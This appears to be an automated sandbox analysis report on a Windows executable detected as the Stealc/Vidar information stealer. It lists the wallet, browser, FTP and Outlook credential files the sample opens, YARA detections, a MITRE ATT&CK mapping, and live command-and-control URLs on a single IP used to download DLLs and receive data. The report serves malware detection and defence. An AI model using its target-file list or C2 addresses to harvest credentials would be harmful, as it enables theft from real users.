Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003D18000.00000040.00000020.00020000.00000000.sdmp	String found in binary or memory: ckstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\passphrase.json
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003DA1000.00000040.00000020.00020000.00000000.sdmp	String found in binary or memory: MultiDoge
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003D73000.00000040.00000020.00020000.00000000.sdmp	String found in binary or memory: seed.seco
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Ethereum\\keystoreF
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\.
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003D73000.00000040.00000020.00020000.00000000.sdmp	String found in binary or memory: \Electrum-LTC\wallets\

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: 4c469e2cf403fea6249e835ddce23de2.exe PID: 6900, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.1940177043.0000000003D18000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1939639884.0000000001D51000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 4c469e2cf403fea6249e835ddce23de2.exe PID: 6900, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: 4c469e2cf403fea6249e835ddce23de2.exe PID: 6900, type: MEMORYSTR

Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_00A02FE0 WSASocketW,_memset,htonl,htons,bind,__beginthreadex,	0_2_00A02FE0
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C880C40 sqlite3_bind_zeroblob,	0_2_6C880C40
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C880D60 sqlite3_bind_parameter_name,	0_2_6C880D60
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C7A8EA0 sqlite3_clear_bindings,	0_2_6C7A8EA0
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C880B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6C880B40
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C7A6410 bind,WSAGetLastError,	0_2_6C7A6410

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Masquerading	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Email Collection	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Disable or Modify Tools	11 Input Capture	11 Security Software Discovery	Remote Desktop Protocol	11 Input Capture	12 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	1 Archive Collected Data	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	4 Data from Local System	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 File and Directory Discovery	SSH	2 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	35 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
4c469e2cf403fea6249e835ddce23de2.exe	4%	Virustotal		Browse
4c469e2cf403fea6249e835ddce23de2.exe	13%	ReversingLabs	Win32.Spyware.Stealc

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://45.200.148.113/0a616124ff2f2b69.phpO	14%	Virustotal		Browse
http://www.usb-over-network.com	0%	Virustotal		Browse

Name	Malicious	Reputation
http://45.200.148.113/2a5dc88bed850cdd/msvcp140.dll	true	unknown
http://45.200.148.113/2a5dc88bed850cdd/freebl3.dll	true	unknown
http://45.200.148.113/2a5dc88bed850cdd/sqlite3.dll	true	unknown
http://45.200.148.113/2a5dc88bed850cdd/mozglue.dll	true	unknown
http://45.200.148.113/	true	unknown
http://45.200.148.113/2a5dc88bed850cdd/vcruntime140.dll	true	unknown
http://45.200.148.113/2a5dc88bed850cdd/softokn3.dll	true	unknown
http://45.200.148.113/0a616124ff2f2b69.php	true	unknown
http://45.200.148.113/2a5dc88bed850cdd/nss3.dll	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://45.200.148.113/X	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	FHDAFIID.0.dr	false	URL Reputation: safe URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	EGCBFIEHIEGCAAAKKKKEGDHJDH.0.dr	false	URL Reputation: safe URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003D73000.00000040.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp, FHDAFIID.0.dr	false	URL Reputation: safe	unknown
http://45.200.148.113/0a616124ff2f2b69.phpO	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp	false	14%, Virustotal, Browse	unknown
http://www.usb-over-network.com	4c469e2cf403fea6249e835ddce23de2.exe	false	0%, Virustotal, Browse	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1958323593.0000000028862000.00000004.00000020.00020000.00000000.sdmp, 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp, BAEBGCFIEHCFIDGCAAFB.0.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp, FHDAFIID.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003D73000.00000040.00000020.00020000.00000000.sdmp, 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000003.1856393470.0000000022779000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://45.200.148.113/0a616124ff2f2b69.phpa	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://45.200.148.113/0a616124ff2f2b69.phpser	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://45.200.148.113/fmw	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D51000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://45.200.148.113/0a616124ff2f2b69.phpdll	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://45.200.148.113/0a616124ff2f2b69.php1	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	BAEBGCFIEHCFIDGCAAFB.0.dr	false		unknown
http://45.200.148.113/0a616124ff2f2b69.php-	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp, FHDAFIID.0.dr	false	URL Reputation: safe	unknown
http://45.200.148.113/0a616124ff2f2b69.php)	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://45.200.148.113/0a616124ff2f2b69.phpE	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://45.200.148.113/2a5dc88bed850cdd/vcruntime140.dll8bed850cdd/nss3.dll	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://45.200.148.113/0a616124ff2f2b69.php=	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.usb-over-network.com/usb-over-network-purchase.html?rf=usbnetclient&ver=6.0.6	4c469e2cf403fea6249e835ddce23de2.exe	false		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1958323593.0000000028862000.00000004.00000020.00020000.00000000.sdmp, 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp, BAEBGCFIEHCFIDGCAAFB.0.dr	false		unknown
http://www.sqlite.org/copyright.html.	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1953000945.000000001C7DD000.00000004.00000020.00020000.00000000.sdmp, 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1961950084.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.mozilla.com/en-US/blocklist/	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1962494191.000000006F8DD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003D73000.00000040.00000020.00020000.00000000.sdmp, 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003D18000.00000040.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1958323593.0000000028862000.00000004.00000020.00020000.00000000.sdmp, 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp, BAEBGCFIEHCFIDGCAAFB.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	FHDAFIID.0.dr	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003D18000.00000040.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp, FHDAFIID.0.dr	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1958323593.0000000028862000.00000004.00000020.00020000.00000000.sdmp, 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp, BAEBGCFIEHCFIDGCAAFB.0.dr	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003D73000.00000040.00000020.00020000.00000000.sdmp, 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003D18000.00000040.00000020.00020000.00000000.sdmp, 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000003.1856393470.0000000022779000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://45.200.148.113/2a5dc88bed850cdd/softokn3.dllb	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003D73000.00000040.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	FHDAFIID.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	EGCBFIEHIEGCAAAKKKKEGDHJDH.0.dr	false	URL Reputation: safe	unknown
